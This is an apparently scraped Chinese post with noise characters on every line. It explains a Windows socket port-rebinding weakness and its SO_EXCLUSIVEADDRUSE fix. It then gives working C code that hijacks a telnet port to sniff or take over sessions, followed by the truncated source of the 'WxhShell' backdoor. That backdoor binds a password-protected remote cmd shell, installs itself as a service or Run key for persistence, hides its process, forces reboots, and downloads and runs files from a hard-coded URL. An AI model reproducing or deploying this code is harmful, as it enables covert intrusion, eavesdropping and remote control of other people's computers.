在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
(AX$Svw s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
, 6Jw 7#c4.9b? saddr.sin_family = AF_INET;
~4|Tr z2T #WJ*)$A@& saddr.sin_addr.s_addr = htonl(INADDR_ANY);
nW}
s LlS~J K bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
1Vx5tOq kv6nVlI)B 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0m=57c$O i"=lxqWeaV 这意味着什么?意味着可以进行如下的攻击:
4UUbX mYj)![ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?20R\
]U ;4(}e{ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=LODX29 L|}s Z\2! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
~@)s)K $:\`E56\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$PI9vyS UG=]8YY!
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
nI&p.i6 Fi;H 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
6Ol9P56j ! nvg:$.& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4P"bOt5izR 15q^&l[Q #include
"*.N'J\ #include
zsd1n`r #include
#9Jr?K43
#include
9X%:
){ DWORD WINAPI ClientThread(LPVOID lpParam);
,i??}Wm5G int main()
w^ OB {
IVkB)9IW WORD wVersionRequested;
aidQ,(PDj DWORD ret;
,[t?$Cy; WSADATA wsaData;
Kvo&_: BOOL val;
dS3\P5D.*c SOCKADDR_IN saddr;
5OtdB'UITd SOCKADDR_IN scaddr;
5 7t.Ud int err;
,a,2I SOCKET s;
0 p?AL= SOCKET sc;
y(MB_B7j int caddsize;
Eu:/U*j HANDLE mt;
'?mF,Co{ DWORD tid;
_^NaP wVersionRequested = MAKEWORD( 2, 2 );
U1X"UN) err = WSAStartup( wVersionRequested, &wsaData );
abm 3q!a- if ( err != 0 ) {
k&%i+5X printf("error!WSAStartup failed!\n");
c9fz x return -1;
*d;TpwUI }
kHylg{i{" saddr.sin_family = AF_INET;
pCrm `hy( m7g*zu2# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
~F@n `!c ;Tp9)UP) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
`D
|/g; saddr.sin_port = htons(23);
1 =C12 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
bTmhz {
D|*w6p("z printf("error!socket failed!\n");
v-d"dC` return -1;
E
V)H>kM }
GT6i9*tb# val = TRUE;
H~nX!sO //SO_REUSEADDR选项就是可以实现端口重绑定的
H.4ISmXU if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
oJr+RO {
1xd6p printf("error!setsockopt failed!\n");
4S~kNp$ return -1;
69)"T{7 }
P.@dB.Ny //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&BrFcXF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
jIT|Kk&] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
5rB>)p05[ Q|h$D~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
f^B'BioW( {
U\H[.qY- ret=GetLastError();
=3QhGFd printf("error!bind failed!\n");
} SWp~3P return -1;
FEu"b@v }
I V#8W listen(s,2);
%p )"_q!ge while(1)
# euG$( {
YR-G:-(#b caddsize = sizeof(scaddr);
zHZfp_I //接受连接请求
I<D7Jj sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/qy6YF8;y if(sc!=INVALID_SOCKET)
~SBb2*ID {
qzbW0AM[M mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%'s_=r` if(mt==NULL)
bKM*4M=k {
AZc=Bbh printf("Thread Creat Failed!\n");
GkI'. break;
U'ctO% }
b.RU%Y#>\ }
Vf pT5W< CloseHandle(mt);
\]f+{d-& }
Y?J/KW3 closesocket(s);
gR# k' WSACleanup();
,zM@)Q;9 return 0;
9gw;MFP)D }
w=;> DWORD WINAPI ClientThread(LPVOID lpParam)
A/I\MN| {
.(q'7Q Z/ SOCKET ss = (SOCKET)lpParam;
PB$beQ SOCKET sc;
OS@uGp=
unsigned char buf[4096];
=YgH-{ SOCKADDR_IN saddr;
u'#/vT#l long num;
_|I8+(~) DWORD val;
iKrk?B< DWORD ret;
U MRFTwY //如果是隐藏端口应用的话,可以在此处加一些判断
?g4Rk9<!i //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
M{G}-QK_. saddr.sin_family = AF_INET;
uPl}NEwU| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
07:V[@' saddr.sin_port = htons(23);
bl
a`B=r if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@,.D]43 {
N
Nk printf("error!socket failed!\n");
|8CxMs return -1;
$+GDPYm' }
3JQ7Cc> val = 100;
8b'@_s!_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
v[ML=pL {
bI:W4y>I= ret = GetLastError();
)1#/@cU return -1;
v2rO>NY4 }
VBi gUK4 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3f^Pr {
#tu>h ret = GetLastError();
L#K`F8Wi= return -1;
N!~]D[D }
yYJ_;Va if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$L0sBW& {
Up?RN %gq printf("error!socket connect failed!\n");
I?PqWG!O closesocket(sc);
P#V!hfM closesocket(ss);
e,}h^^" return -1;
*`"+J_ }
=AzPAN#e while(1)
#&kj> {
i#b /.oa //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
RN-gZ{AW //如果是嗅探内容的话,可以再此处进行内容分析和记录
*t| !xO //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1Mp-)-e num = recv(ss,buf,4096,0);
8Y`g$2SZ^8 if(num>0)
axUj3J> send(sc,buf,num,0);
~)_Nh else if(num==0)
-}UY2) break;
}#D=Rf?2\P num = recv(sc,buf,4096,0);
[(x<2MTj if(num>0)
4@fv%LOQo send(ss,buf,num,0);
_2G _Io else if(num==0)
#<[&Lw break;
>D!R)W` }
'u v=D closesocket(ss);
50Gr\ closesocket(sc);
oH6zlmqG" return 0 ;
yC 1OeO8{ }
:lo5,B;k J.h` 0$! *nU5PSs ==========================================================
(K=0c6M3= !1I# L!9 下边附上一个代码,,WXhSHELL
fB9,#
F R
q@|o5O ==========================================================
K'
`qR ~{lb`M^]h #include "stdafx.h"
4!{lySW f> Jj5he/ #include <stdio.h>
2fr%_GNu #include <string.h>
8a8a:d #include <windows.h>
<J+Oh\8tad #include <winsock2.h>
18NnXqe-m #include <winsvc.h>
3?V'O6 #include <urlmon.h>
gq+0t 0=HB!{@ #pragma comment (lib, "Ws2_32.lib")
,V
52Fj #pragma comment (lib, "urlmon.lib")
qX\85dPn@} `Z,WKus #define MAX_USER 100 // 最大客户端连接数
4dFr~ { #define BUF_SOCK 200 // sock buffer
QEqYqAGzu| #define KEY_BUFF 255 // 输入 buffer
4_-&PZ,d r~T!$Tb #define REBOOT 0 // 重启
+3.9)w #define SHUTDOWN 1 // 关机
wX)'1H):T l[[`-f8j #define DEF_PORT 5000 // 监听端口
o`Z3} j7&#R+f #define REG_LEN 16 // 注册表键长度
yT OZa-
#define SVC_LEN 80 // NT服务名长度
s3A(`heoq 0o$RvxJ // 从dll定义API
"vybVWEE typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
i5le0lM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
C0w_pu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;/+< N typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
KB~[nZs7 yWZ_ // wxhshell配置信息
7#"NKxb struct WSCFG {
6
DQOar>d int ws_port; // 监听端口
83vZRQw char ws_passstr[REG_LEN]; // 口令
~\-=q^/! int ws_autoins; // 安装标记, 1=yes 0=no
LkYcFD char ws_regname[REG_LEN]; // 注册表键名
A*0X~6W char ws_svcname[REG_LEN]; // 服务名
/'{vDxZf R char ws_svcdisp[SVC_LEN]; // 服务显示名
prS%lg>
char ws_svcdesc[SVC_LEN]; // 服务描述信息
[K
#$W char ws_passmsg[SVC_LEN]; // 密码输入提示信息
`/m]K~~ int ws_downexe; // 下载执行标记, 1=yes 0=no
-ABj>y[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?3DFm char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)2" g)9! bl!pKOY };
][Tw^r& h/C{ // default Wxhshell configuration
]v:,<=S struct WSCFG wscfg={DEF_PORT,
V8F!o "xuhuanlingzhe",
Nz{qu}dt 1,
$Xo_8SX, "Wxhshell",
!2AD/dtt "Wxhshell",
1^NC=IS9z "WxhShell Service",
81#x/&E] "Wrsky Windows CmdShell Service",
tpzWi
W/ "Please Input Your Password: ",
u=@zYA( 1,
2va[= >_ "
http://www.wrsky.com/wxhshell.exe",
mgjcA5z "Wxhshell.exe"
_\dC<K *> };
\``w>Xy8 aC9iNm8w // 消息定义模块
)ty>{t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
c9H6\ & char *msg_ws_prompt="\n\r? for help\n\r#>";
M3KK^YRN char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
&Pv$nMB$I char *msg_ws_ext="\n\rExit.";
p79QEIbk= char *msg_ws_end="\n\rQuit.";
\0}bOHqEH char *msg_ws_boot="\n\rReboot...";
ec^{ez@` char *msg_ws_poff="\n\rShutdown...";
gYho$E char *msg_ws_down="\n\rSave to ";
(`Y;U(n A][ ;v char *msg_ws_err="\n\rErr!";
Pt-mLINvG char *msg_ws_ok="\n\rOK!";
@CR<&^s5V Z 5 .cfI[ char ExeFile[MAX_PATH];
D)L~vA/8b int nUser = 0;
p `oB._
R HANDLE handles[MAX_USER];
HIj:?y int OsIsNt;
"9c!p ={h^X0<s9 SERVICE_STATUS serviceStatus;
U\{I09@E 0 SERVICE_STATUS_HANDLE hServiceStatusHandle;
_^eA1}3 OPq6)(Q // 函数声明
hn6'$P int Install(void);
N-}OmcO]e int Uninstall(void);
Kzt:rhiB int DownloadFile(char *sURL, SOCKET wsh);
b<r*EY int Boot(int flag);
92,@tNQQ} void HideProc(void);
C2iOF /4 int GetOsVer(void);
v7+|G'8M` int Wxhshell(SOCKET wsl);
]t17= Lr? void TalkWithClient(void *cs);
(Ze\<Y#cv int CmdShell(SOCKET sock);
5M8
int StartFromService(void);
7 oYD;li$k int StartWxhshell(LPSTR lpCmdLine);
s!Id55R] {c1wJ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
~Wm'~y> VOID WINAPI NTServiceHandler( DWORD fdwControl );
URh5ajoR% Br$/hn= // 数据结构和表定义
oqK:
5| SERVICE_TABLE_ENTRY DispatchTable[] =
|CS&H2!s {
u0uz~ s {wscfg.ws_svcname, NTServiceMain},
$Ixd;`l* {NULL, NULL}
2<2a3'pG };
3U?^49bJ lvk*Db$ // 自我安装
k'[\r>T int Install(void)
#TP Y% {
[h\_yU[P char svExeFile[MAX_PATH];
BIvz55g HKEY key;
brn>FFAwO strcpy(svExeFile,ExeFile);
Y k"yup@3 R, zp&L // 如果是win9x系统,修改注册表设为自启动
>\5ZgC if(!OsIsNt) {
@[rlwwG, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)4+uM'2% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B)-P#,} RegCloseKey(key);
D t]FmU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4vH.B)S-
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=4x-x nA RegCloseKey(key);
OBP iLCq return 0;
~1{~iB2G }
1[dQVJqMp( }
wi:d!,P`e }
;Y &2G' else {
1Imb"E eR8>5:V_ // 如果是NT以上系统,安装为系统服务
%A(hmC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Yr:$)ap if (schSCManager!=0)
&cx]7:; {
?Vr~~v"fg8 SC_HANDLE schService = CreateService
&-Z#+>=H( (
;77q~_g$ schSCManager,
C_hIPMU= wscfg.ws_svcname,
~/R}K g( wscfg.ws_svcdisp,
dU"C=c(w\ SERVICE_ALL_ACCESS,
,PyPRPk SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
5z:/d `P[ SERVICE_AUTO_START,
7o M]qLF SERVICE_ERROR_NORMAL,
Yf^/YLLS svExeFile,
Vg"Ze[dA
NULL,
>z8y L+ NULL,
'P)[=+O?t NULL,
d e~3: NULL,
KTu&R6| NULL
AwGDy + );
mc5$-}1V, if (schService!=0)
QmB,~x{j> {
~f%AbDye CloseServiceHandle(schService);
%^8>= CloseServiceHandle(schSCManager);
K,GX5c5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
<b;Oap3 strcat(svExeFile,wscfg.ws_svcname);
jLf8 7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
,k3aeM~`%w RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
o!t1EPJE* RegCloseKey(key);
^-7{{/ return 0;
'r?OzFtxh }
su]ywVoRT }
qxW2q8QHo CloseServiceHandle(schSCManager);
Kx[z7]1@ }
6P I-"He }
jk}m UwxrYouv~@ return 1;
}GTy{Y*& }
u~d&<_Z zoBjrAyD // 自我卸载
X{riI^( int Uninstall(void)
x5Ee'G( {
MRHkQE+K@8 HKEY key;
{ e% KBFAV& if(!OsIsNt) {
yo0?QRT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+nslS:( RegDeleteValue(key,wscfg.ws_regname);
Iq[,)$ RegCloseKey(key);
=<[ZFO~v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
NeyGIEP RegDeleteValue(key,wscfg.ws_regname);
FR@ dBcJUU RegCloseKey(key);
S. OGLLprp return 0;
\
o&i63u }
Fw5r\J87c }
ZvO:!u0+" }
]H|1quT else {
3,B[%!3d AH],>i3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
",rA if (schSCManager!=0)
4.dMNqU {
0,;FiOp SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
y!^RL,HIL if (schService!=0)
.9g\WH#qD| {
OkO"t if(DeleteService(schService)!=0) {
y6?Q5x9M CloseServiceHandle(schService);
#UJ@P Dwil CloseServiceHandle(schSCManager);
E%-&!%_>D@ return 0;
U%45qCU }
L4;n$=e CloseServiceHandle(schService);
|R*fw(=W }
I>-jKSkwc CloseServiceHandle(schSCManager);
lv ^=g }
}%R6Su]y }
pp[? k}@ r/O(EW#=8 return 1;
hoeTJ/;dm }
)-a_,3x%j W^+bgg<. // 从指定url下载文件
5#f&WL*U@ int DownloadFile(char *sURL, SOCKET wsh)
l>&)_:\ {
D1O7S]j HRESULT hr;
]@?3,N char seps[]= "/";
=C\S6bF% char *token;
Qw5M\
char *file;
~0 FqY&4 char myURL[MAX_PATH];
L6A6|+H%E char myFILE[MAX_PATH];
c*1x*'j. FJL9x,%6 strcpy(myURL,sURL);
l2`8]Qr token=strtok(myURL,seps);
!Xj m h$F while(token!=NULL)
d=4MqX r {
puqH%m+u file=token;
ln=zGX.e token=strtok(NULL,seps);
{U(h]' }
w6"LHy[ ?I@3`?' GetCurrentDirectory(MAX_PATH,myFILE);
Yu1xJgl strcat(myFILE, "\\");
uN\9cQ strcat(myFILE, file);
G+g`=7 send(wsh,myFILE,strlen(myFILE),0);
t=e0z^2i+ send(wsh,"...",3,0);
.D>lv_kp hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
r2H'r
,N if(hr==S_OK)
#/jHnRrQ return 0;
wFd*6% else
9vj:=,TNu return 1;
g*tLqV F#<PFT4i }
sw@2
?+ 0'~b<>G% // 系统电源模块
B]qh22Yib int Boot(int flag)
P`%ppkzV6 {
?\pE#~m HANDLE hToken;
AeJM[fCMa TOKEN_PRIVILEGES tkp;
q,(&2./ QNtr = if(OsIsNt) {
N7jRdT2k% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
p.\KmEx LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
FXSDN268 tkp.PrivilegeCount = 1;
y-X'eCUz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Yptsq@s AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
1*jL2P]D if(flag==REBOOT) {
J-ZM1HoB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
~R8yj( return 0;
R`?^%1^N }
s*X\%!l9 else {
#~f+F0#%? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
JS:lysu return 0;
+UsR }
_NZHrN }
:y
%~9= else {
WuQYEbap if(flag==REBOOT) {
R
_Y&Y- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Tz-cN return 0;
4|L@oTzx }
8JrGZ8Q4RM else {
T> 'Vaxo if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
V<pqc&f. return 0;
UmE{>5Pt }
DQICD.X6R }
[Z+,)-ke .%<&W1 return 1;
oMe]dK }
C941@I M!l5,ycF // win9x进程隐藏模块
z{jAt6@7 void HideProc(void)
Kzu9Qm-+z^ {
NKKOA b
. j^US^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S:uEK if ( hKernel != NULL )
-c?wEqa~2 {
9tEKA|8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
z\Y^x9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
}x1IFTa! FreeLibrary(hKernel);
IR8&4qOs }
^ks^9*'|j !q\w"p0X return;
cB}2(`z9
B }
6<$|;w-OV 3/=QZ8HA&- // 获取操作系统版本
Nt-SCLDM int GetOsVer(void)
kw:D~E( {
8#u_+;,p OSVERSIONINFO winfo;
uW9M&"C~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
b[;3KmUB GetVersionEx(&winfo);
J\$l3i/I if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
==Mi1Q#5C return 1;
UjOhaj "h
else
}C"*ACjF return 0;
$#FlnM<= }
08?MS_ HHTsHb{7 // 客户端句柄模块
}a1Sfl@`3 int Wxhshell(SOCKET wsl)
>#U<# {
i!oj&& SOCKET wsh;
$jh>zf struct sockaddr_in client;
,wi=!KzX DWORD myID;
s [F' h-y 3t{leuO' while(nUser<MAX_USER)
&N_c-@2O {
WriN]/yD int nSize=sizeof(client);
3e6Y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
x0h3jw+6 if(wsh==INVALID_SOCKET) return 1;
rL
sK-qQ 9Y%?)t.2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
LsQ8sFP_" if(handles[nUser]==0)
ou^nzm closesocket(wsh);
|ch^eb^7" else
xhkWKB/7 nUser++;
!GGGh0Bj }
?wf+{x-dPP WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
}`N2ZxC0AQ +aw>p_\ return 0;
fTHun?Vn }
.e2A*9, )|x%o(n // 关闭 socket
*Z]WaDw void CloseIt(SOCKET wsh)
L0mnU)Q}C {
,ANK3n\ closesocket(wsh);
0 {JK4]C nUser--;
V}|v!h[O8 ExitThread(0);
2vkB<[tSs }
#>:(#^Uu V9E6W*IE // 客户端请求句柄
$C05iD void TalkWithClient(void *cs)
CC>fm1#i\ {
$?)3&\)R .?0>5-SfY SOCKET wsh=(SOCKET)cs;
N~$Zeq= char pwd[SVC_LEN];
q#(/*AoU char cmd[KEY_BUFF];
y2#>c* char chr[1];
Y
<Znv%M int i,j;
+~4bB$6*4) _+*/~E while (nUser < MAX_USER) {
JOdwv4(3V 9vp%6[ if(wscfg.ws_passstr) {
YXzZ-28,< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t*a*v;iz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Sc/`=h]T //ZeroMemory(pwd,KEY_BUFF);
Aa`MK$29F i=0;
1O9p YW5J while(i<SVC_LEN) {
MKe^_uF Y%/ YFO2vb // 设置超时
3Rd`Ysp fd_set FdRead;
kPO6gdwq$ struct timeval TimeOut;
"X5_-l FD_ZERO(&FdRead);
w<Yv`$-` FD_SET(wsh,&FdRead);
}. xrJ52Tz TimeOut.tv_sec=8;
7<3U? ]0 TimeOut.tv_usec=0;
!{Q:(B#ec int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
p?V?nCv1O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
9k\)tWe Uvh~B^6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
}Kj Ju; pwd
=chr[0]; PUP"ky^q"
if(chr[0]==0xd || chr[0]==0xa) { q]eFd6
pwd=0; ^qeY9O
break; _%'L@[ H
} c~^CKgr~R9
i++; V06CCy8n
} X*!Dc,0.k
skIiJ'db
// 如果是非法用户,关闭 socket #ya\Jdx
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *;hY.EuoFz
} i<T P:
sno`=+|U]
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c~}={4M]
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OXHvT/L`
Vd+td;9(
while(1) { S]&8St
+Edzjf~Tt
ZeroMemory(cmd,KEY_BUFF); oW1"%i%
MA\m[h]
// 自动支持客户端 telnet标准 7qe7Fl3
j=0; /!GKh5|
while(j<KEY_BUFF) { {O^TurbTFA
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i:o}!RZ>
cmd[j]=chr[0]; l|YT[LR7
if(chr[0]==0xa || chr[0]==0xd) { FR:d^mL
cmd[j]=0; n/QfdAg
break; TE^7P0bh
} nPcS3!7B#
j++; KRYcCn
} EM=w?T
/+VIw`E
// 下载文件 ,;_rIO"
if(strstr(cmd,"http://")) { 8|O=/m ^]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /X4yB"J>
if(DownloadFile(cmd,wsh)) CI`N8
f=v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *'D=1{WZ!
else qM%O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x#VyQ[ok
} ><;Q@u5~
else { dUS ZNY
FigR1/3o'6
switch(cmd[0]) { C+w__gO&r
IU@_)I+6
// 帮助 LP:nba :
case '?': { ?O??cjiA@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u~W{RHClW
break; ;7Y[c}V1^
} ?Gd sOg^
// 安装 Ekv89swl`i
case 'i': { 79ckLd9
if(Install()) GnFs63
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IdPn%)>6
else ZK6Hvc0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
mOP4z'
break; z8HsYf(!
} V8hO8
// 卸载 m9$ a"$c
case 'r': { u$%A#L[
if(Uninstall()) @%1IkvJV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ebC)H
else r}_lxr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GIT#<+"
break; m@jge)O&D
} y,E.SB
// 显示 wxhshell 所在路径 BkawL,
case 'p': { dAc ?O-~
char svExeFile[MAX_PATH];
`0bP0^w
strcpy(svExeFile,"\n\r"); a?F!,=F
strcat(svExeFile,ExeFile); 03=5Nof1
send(wsh,svExeFile,strlen(svExeFile),0); x5}lgyt
break; W@.Ji B
} xzsdG?P
// 重启 ~`qEWvPn
case 'b': { %'bJ:
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %{!R
l@
if(Boot(REBOOT)) {E A1vo"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /7D<'MF
else { 9CJ(Z+;OM
closesocket(wsh); "
.4,."
ExitThread(0);
UMU2^$\iS
}
?>$l
break; _Mk7U@j+9
} X^s2BW
// 关机 kGHQ`h
case 'd': { ;f1qLI
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j+rG7z){K
if(Boot(SHUTDOWN)) x|i_P|Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iafE5b)
else { jZteooJG|
closesocket(wsh); }!p`1]gem
ExitThread(0); o*5U:'=5}
} *bd[S0l
break; MSw$_d
} oDn|2Sdqd
// 获取shell H1/?+N}(
case 's': { ;Hmp f0$
CmdShell(wsh); T/pqSmVpM
closesocket(wsh); S<`I
Jpkv
ExitThread(0); -0Cnp/Yj@
break; :e<7d8E5n{
} {pL+2%`~
// 退出 1oiRW Re
case 'x': { CyDV r
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U75Jp%bL
CloseIt(wsh); A\fb<
break; FAsFjRS
} ~PnTaAPJ
// 离开 oGa^/:6L
case 'q': { zZ=pP5y8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); TX=yPq
closesocket(wsh); "ZwKk
G
WSACleanup(); lf(`SYQnOY
exit(1); .8(OT./
break; 4_A0rveP
} !|ak^GE:(%
} ZJPmR/OV_
} J(DN!
EU7|,>a
// 提示信息 -m
*Sq
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >P6BW
} _g%TSumvq<
} WOzf]3Xcj
0:w"M<80
return; ,#M Cn
} -Eu6U`"(
>zAUW[]C:I
// shell模块句柄 Od f[*
int CmdShell(SOCKET sock) ktIi$v
{ %\]*OZ7
STARTUPINFO si; h8Yx#4
ZeroMemory(&si,sizeof(si)); C|pdv
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fU=B4V4@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4=<tWa|@9
PROCESS_INFORMATION ProcessInfo; >
pI;%'
char cmdline[]="cmd"; hn#1%p6t
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;r c`OZyE
return 0; X 1
57$
} 2hzsKkrA
{
,) J~ ,^f6
// 自身启动模式 .L'.c/ s
int StartFromService(void) 4R18A=X
{ wgCa58H76
typedef struct hzk cP
{ SkmT`*v@
DWORD ExitStatus; ^R:cd8+?%
DWORD PebBaseAddress; x)( |[
DWORD AffinityMask; BD(Z5+EU1
DWORD BasePriority; uEX!xx?Q#
ULONG UniqueProcessId; |PC*=ykT3
